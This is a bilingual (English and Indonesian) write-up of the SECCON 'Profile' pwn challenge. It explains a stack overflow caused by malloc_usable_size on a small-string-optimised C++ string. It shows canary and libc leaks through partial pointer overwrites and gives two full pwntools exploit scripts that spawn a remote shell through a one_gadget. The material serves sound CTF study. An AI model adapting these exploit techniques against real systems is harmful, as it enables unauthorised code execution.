# Profile---**Points:** 255 | **Solves:** 64/653 | **Category:** Pwn
Host: profile.pwn.seccon.jpPort: 28553
[Download](profile_e814c1a78e80ed250c17e94585224b3f3be9d383)[Download](libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253)
---
[Bahasa Indonesia](#bahasa-indonesia)
## English```gdb-peda$ file profile_e814c1a78e80ed250c17e94585224b3f3be9d383Reading symbols from profile_e814c1a78e80ed250c17e94585224b3f3be9d383...(no debugging symbols found)...done.
gdb-peda$ checksecCANARY    : ENABLEDFORTIFY   : disabledNX        : ENABLEDPIE       : disabledRELRO     : Partial```
The challenge is a simple binary to print and store message.
```Please introduce yourself!Name >> testAge >> 21Message >> nothing
1 : update message2 : show profile0 : exit>>  ```
The prompt is looped, so users can update message and show profile as many times as they want.Note that name and message are strings, therefore even if we input a long string a buffer overflow will not happen (it will be stored in heap).
Due to the strings datatype (and int for age), let's assume that input_name, input_age, and input_message is not vulnerable.Also, due to we do not control anything for show_profile than it is most likely that a vulnerability exists in update_message.
Below, a snippet of update_message (ida decompiled).
```cpp__int64 __fastcall Profile::update_msg(Profile *this){  __int64 v1; // rax  __int64 result; // rax  void *ptr; // [rsp+10h] [rbp-10h]  size_t v4; // [rsp+18h] [rbp-8h]
  ptr = (void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(this);  v4 = malloc_usable_size(ptr);  if ( v4 == 0 )  {    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Unable to update message.");    result = std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);  }  else  {    std::operator<<<std::char_traits<char>>(&std::cout, "Input new message >> ");    result = getn((char *)ptr, v4);  }  return result;}```
We can write to message up to the return value of malloc_usable_size(message).So, how are cpp's strings stored then? For a big string, it will allocate heap with the size of string.However, there is a thing called Small String Optimization (SSO). It optimizes string allocation by storing small string on the stack.
What would malloc_usable_size(message) return if message if small then?
```    call   0x400e90 <malloc_usable_size@plt>=> 0x4010be <Profile::update_msg()+40>:	mov    QWORD PTR [rbp-0x8],rax    ...
gdb-peda$ p $rax$1 = 0xfffffffffffffff0```
It returns a very big number (supposedly negative), that means we can write and possibly have an overflow.Let's analyze how the program stores name, age, and message.
```__int64 __fastcall Profile::set_name(__int64 a1, __int64 a2){  return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(a1 + 32, a2);}
Profile *__fastcall Profile::set_age(Profile *this, int a2){  Profile *result; // rax
  result = this;  *((_DWORD *)this + 16) = a2;  return result;}
__int64 __fastcall Profile::set_msg(__int64 a1, __int64 a2){  return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(a1, a2);}```
Basically, it stores `set_msg` on `Profile + 0`, `set_name` on `Profile + 32`, and `set_age` on `Profile + 64`.Below the condition of allocated Profile (small string for message and name).
```gdb-peda$ x/12gx 0x7fff85a09e90   0x7fff85a09e90:	0x00007fff85a09e60 <= pointer to msg	0x0000000000000002 <= msg length0x7fff85a09ea0:	0x0000000000006161                      0x00000000000000000x7fff85a09eb0:	0x00007fff85a09e80 <= pointer to name   0x0000000000000007 <= name length0x7fff85a09ec0:	0x0061616161616161                      0x00000000000000000x7fff85a09ed0:	0x0000000000000001 <= age               0xef86cdc445a5ec00 <= canary0x7fff85a09ee0:	0x00007fff85a09fd0                      0x00000000000000000x7fff85a09ef0:	0x00000000004016b0 <= ret address       0x00007ffff74791c1 <= __libc_start_main+240
```
We can write as many as we want from msg (0x7fff85a09ea0), but there is a canary.We can leak canary but partially overwriting (first byte) of pointer_to_name in order to print the canary.
We can leak through (in the example) 0x00007fff85a09e00 - 0x00007fff85a09eff to enable a consistent read of canary.However, for this challenge I just put in `d9` for the partial overwrite (canary's first byte is always 0x00). Randomization is on, so canary's address (first-byte) can be 0xf8, 0xe8, 0x38, etc, but it is always aligned, so the chance of having it in 0xd9 is not low.
We can also leak libc by the offset `f8`. We then spawn shell by using one_gadget.Below is the script used. My script takes awhile (not that long) to spawn shell. It is a little bit faster to write the code that way, sorry :(
```pythonfrom pwn import *
debug = 0one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]libc = ELF('./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253')
while (1):	if debug:		r = process(['./profile_e814c1a78e80ed250c17e94585224b3f3be9d383'], env={"LD_PRELOAD":"./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253"})	else:		r = remote('profile.pwn.seccon.jp', 28553)
	r.recvuntil('>>')	r.sendline('a' * 7)	r.recvuntil('>>')	r.sendline('31337')	r.recvuntil('>>')	r.sendline('aa')
	r.recvuntil('>>')	r.sendline('1')	r.recvuntil('>>')	r.sendline(p64(0) * 2 + '\xd9')
	r.recvuntil('>>')	r.sendline('2')	r.recvuntil('Name : ')	canary = u64('\x00' + r.recvline().strip())	if (canary < (1 << 56)):		r.close()		continue
	r.recvuntil('>>')	r.sendline('1')	r.recvuntil('>>')	r.sendline(p64(0) * 2 + '\xf8')
	r.recvuntil('>>')	r.sendline('2')	r.recvuntil('Name : ')	lsm = u64(r.recvline().strip().ljust(8, '\x00'))	if (lsm < 0x7f0000000000):		r.close()		continue
	libc_base = lsm - libc.symbols.__libc_start_main - 240	print hex(canary)	print hex(libc_base)
	r.recvuntil('>>')	r.sendline('1')	r.recvuntil('>>')	r.sendline(p64(0) * 7 + p64(canary) + p64(0) * 3 + p64(libc_base + one[0]))
	r.sendline('0')
	r.interactive()	break```
A better solution by my teammates allow a more reliable shell spawn.
```pythonfrom pwn import *
context.arch = "amd64"context.os = "linux"
def debug(p):    if (len(sys.argv) > 1 and sys.argv[1] == "debug"):        util.proc.wait_for_debugger(util.proc.pidof(p)[0])
### end of template
p = remote('profile.pwn.seccon.jp', 28553)# p = process('./profile_e814c1a78e80ed250c17e94585224b3f3be9d383')binelf = ELF('./profile_e814c1a78e80ed250c17e94585224b3f3be9d383')binlib = ELF('./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253')
# initializep.sendline('abcdefgh')p.sendline('16961')p.sendline('abcdefg')p.recvuntil('exit')
found = Falsefor i in range(16):    idx = 15-i
    p.sendline('1')    p.sendline('A' * 0x10 + chr(idx * 0x10))    p.sendline('2')    p.recvuntil('Name : ')    log.debug(idx)    name = p.recvline()    if name.startswith('AB') and idx-2 >= 0:        age_on = idx        name_on = idx-1        name_ptr = idx-2        p.sendline('1')        p.sendline('A' * 0x10 + chr(name_ptr*0x10))        p.sendline('2')        p.recvuntil('Name : ')        name_leak = u64(p.recvline().strip().ljust(8, '\x00'))        found = True        break
if not found:    log.error('Failed, Try again')    exit(0)
canary_leak = name_leak + 0x28log.info('Name leak at {}'.format(hex(name_leak)))log.info('Canary leak at {}'.format(hex(canary_leak)))
p.sendline('1')p.sendline('A' * 0x10 + p64(canary_leak))p.sendline('2')p.recvuntil('Name : ')canary = u64(p.recvline().strip().ljust(8, '\x00'))
log.info('Canary {}'.format(hex(canary)))
p.sendline('1')p.sendline('A' * 0x10 + p64(binelf.got['read']))p.sendline('2')p.recvuntil('Name : ')read_loc = u64(p.recvline().strip().ljust(8, '\x00'))one_gadget = 0x45216one_gadget_loc = read_loc + one_gadget - binlib.symbols['read']
log.info('One Gadget {}'.format(hex(one_gadget_loc)))
p.sendline('1')p.sendline('\x00' * 0x38 + p64(canary) + '\x00' * 0x18 + p64(one_gadget_loc))
p.sendline('0')
p.interactive()```
## Bahasa Indonesia```gdb-peda$ file profile_e814c1a78e80ed250c17e94585224b3f3be9d383Reading symbols from profile_e814c1a78e80ed250c17e94585224b3f3be9d383...(no debugging symbols found)...done.
gdb-peda$ checksecCANARY    : ENABLEDFORTIFY   : disabledNX        : ENABLEDPIE       : disabledRELRO     : Partial```
Diberikan sebuah binary untuk menambahkan pesan dan menampilkan pesan.
```Please introduce yourself!Name >> testAge >> 21Message >> nothing
1 : update message2 : show profile0 : exit>>  ```
Pengguna dapat menambah dan menampilkan pesan berulang, tidak ada maksimum iterasi.Tipe data untuk name dan message adalah string, jadi tidak akan terjadi buffer overflow meskipun input panjang (akan disimpan pada heap).
Karena menggunakan string (dan int untuk age), asumsi bahwa input_name, input_age, dan input_message tidak vulnerable.Selain itu, kita tidak memiliki kontrol atas show_profile sehingga kemungkinan vulnerability tidak ada pada fungsi tersebut juga.
Berikut fungsi update_message (dekompilasi ida).
```cpp__int64 __fastcall Profile::update_msg(Profile *this){  __int64 v1; // rax  __int64 result; // rax  void *ptr; // [rsp+10h] [rbp-10h]  size_t v4; // [rsp+18h] [rbp-8h]
  ptr = (void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(this);  v4 = malloc_usable_size(ptr);  if ( v4 == 0 )  {    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Unable to update message.");    result = std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);  }  else  {    std::operator<<<std::char_traits<char>>(&std::cout, "Input new message >> ");    result = getn((char *)ptr, v4);  }  return result;}```
Kita dapat mengubah message sejumlah hasil dari malloc_usable_size(message).Pada cpp, string disimpan pada heap. Namun, ada Small String Optimization (SSO). SSO mengoptimasi penggunaan string dengan menuliskan string kecil pada stack.
Apa output dari malloc_usable_size(message) apabila string kecil (disimpan pada stack)?
```    call   0x400e90 <malloc_usable_size@plt>=> 0x4010be <Profile::update_msg()+40>:	mov    QWORD PTR [rbp-0x8],rax    ...
gdb-peda$ p $rax$1 = 0xfffffffffffffff0```
Outputnya ternyata adalah bilangan negatif, karena bilangan tersebut diinterpretasikan sebagai unsigned (nilai menjadi sangat besar), kita mendapatkan overflow pada stack.Mari analisa penyimpanan message, name, dan age pada program.
```__int64 __fastcall Profile::set_name(__int64 a1, __int64 a2){  return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(a1 + 32, a2);}
Profile *__fastcall Profile::set_age(Profile *this, int a2){  Profile *result; // rax
  result = this;  *((_DWORD *)this + 16) = a2;  return result;}
__int64 __fastcall Profile::set_msg(__int64 a1, __int64 a2){  return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(a1, a2);}```
Program menyimpan `set_msg` pada `Profile + 0`, `set_name` pada `Profile + 32`, dan `set_age` pada `Profile + 64`.Berikut kondisi alokasi Profile (string pendek untuk message dan name).
```gdb-peda$ x/12gx 0x7fff85a09e90   0x7fff85a09e90:	0x00007fff85a09e60 <= pointer to msg	0x0000000000000002 <= msg length0x7fff85a09ea0:	0x0000000000006161                      0x00000000000000000x7fff85a09eb0:	0x00007fff85a09e80 <= pointer to name   0x0000000000000007 <= name length0x7fff85a09ec0:	0x0061616161616161                      0x00000000000000000x7fff85a09ed0:	0x0000000000000001 <= age               0xef86cdc445a5ec00 <= canary0x7fff85a09ee0:	0x00007fff85a09fd0                      0x00000000000000000x7fff85a09ef0:	0x00000000004016b0 <= ret address       0x00007ffff74791c1 <= __libc_start_main+240
```
Kita dapat menulis sejumlah berapapun pada msg (0x7fff85a09ea0), tetapi ada canary.Canary dapat di-leak dengan menulis byte pertama (partial overwrite) dari pointer_to_name.
Kita dapat me-leak (seperti pada contoh) 0x00007fff85a09e00 - 0x00007fff85a09eff untuk mendapatkan pembacaan konsisten canary.Namun, untuk soal ini saya selalu menulis `d9` untuk partial overwrite (byte pertama canary selalu 0x00). Terdapat ASLR, jadi byte pertama alamat canary dapat berupa 0xf8, 0xe8, 0x38, dst. Namun karena selalu aligned (tidak mungkin terdapat pada 0x31, 0x57, 0x99, dst) maka kemungkinan terdapat pada 0xd9 tidak kecil.
Kita juga dapat leak libc pada `f8`. Selanjutnya spawn shell dengan one_gadget.Berikut kode yang digunakan. Kode tersebut akan memakan waktu (tidak lama) untuk spawn shell. Sedikit lebih cepat menulis kode tersebut, maaf :(
```pythonfrom pwn import *
debug = 0one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]libc = ELF('./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253')
while (1):	if debug:		r = process(['./profile_e814c1a78e80ed250c17e94585224b3f3be9d383'], env={"LD_PRELOAD":"./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253"})	else:		r = remote('profile.pwn.seccon.jp', 28553)
	r.recvuntil('>>')	r.sendline('a' * 7)	r.recvuntil('>>')	r.sendline('31337')	r.recvuntil('>>')	r.sendline('aa')
	r.recvuntil('>>')	r.sendline('1')	r.recvuntil('>>')	r.sendline(p64(0) * 2 + '\xd9')
	r.recvuntil('>>')	r.sendline('2')	r.recvuntil('Name : ')	canary = u64('\x00' + r.recvline().strip())	if (canary < (1 << 56)):		r.close()		continue
	r.recvuntil('>>')	r.sendline('1')	r.recvuntil('>>')	r.sendline(p64(0) * 2 + '\xf8')
	r.recvuntil('>>')	r.sendline('2')	r.recvuntil('Name : ')	lsm = u64(r.recvline().strip().ljust(8, '\x00'))	if (lsm < 0x7f0000000000):		r.close()		continue
	libc_base = lsm - libc.symbols.__libc_start_main - 240	print hex(canary)	print hex(libc_base)
	r.recvuntil('>>')	r.sendline('1')	r.recvuntil('>>')	r.sendline(p64(0) * 7 + p64(canary) + p64(0) * 3 + p64(libc_base + one[0]))
	r.sendline('0')
	r.interactive()	break```
Berikut solusi lain dari anggota tim yang lebih dapat diandalkan (tidak harus menunggu untuk spawn shell).
```pythonfrom pwn import *
context.arch = "amd64"context.os = "linux"
def debug(p):    if (len(sys.argv) > 1 and sys.argv[1] == "debug"):        util.proc.wait_for_debugger(util.proc.pidof(p)[0])
### end of template
p = remote('profile.pwn.seccon.jp', 28553)# p = process('./profile_e814c1a78e80ed250c17e94585224b3f3be9d383')binelf = ELF('./profile_e814c1a78e80ed250c17e94585224b3f3be9d383')binlib = ELF('./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253')
# initializep.sendline('abcdefgh')p.sendline('16961')p.sendline('abcdefg')p.recvuntil('exit')
found = Falsefor i in range(16):    idx = 15-i
    p.sendline('1')    p.sendline('A' * 0x10 + chr(idx * 0x10))    p.sendline('2')    p.recvuntil('Name : ')    log.debug(idx)    name = p.recvline()    if name.startswith('AB') and idx-2 >= 0:        age_on = idx        name_on = idx-1        name_ptr = idx-2        p.sendline('1')        p.sendline('A' * 0x10 + chr(name_ptr*0x10))        p.sendline('2')        p.recvuntil('Name : ')        name_leak = u64(p.recvline().strip().ljust(8, '\x00'))        found = True        break
if not found:    log.error('Failed, Try again')    exit(0)
canary_leak = name_leak + 0x28log.info('Name leak at {}'.format(hex(name_leak)))log.info('Canary leak at {}'.format(hex(canary_leak)))
p.sendline('1')p.sendline('A' * 0x10 + p64(canary_leak))p.sendline('2')p.recvuntil('Name : ')canary = u64(p.recvline().strip().ljust(8, '\x00'))
log.info('Canary {}'.format(hex(canary)))
p.sendline('1')p.sendline('A' * 0x10 + p64(binelf.got['read']))p.sendline('2')p.recvuntil('Name : ')read_loc = u64(p.recvline().strip().ljust(8, '\x00'))one_gadget = 0x45216one_gadget_loc = read_loc + one_gadget - binlib.symbols['read']
log.info('One Gadget {}'.format(hex(one_gadget_loc)))
p.sendline('1')p.sendline('\x00' * 0x38 + p64(canary) + '\x00' * 0x18 + p64(one_gadget_loc))
p.sendline('0')
p.interactive()```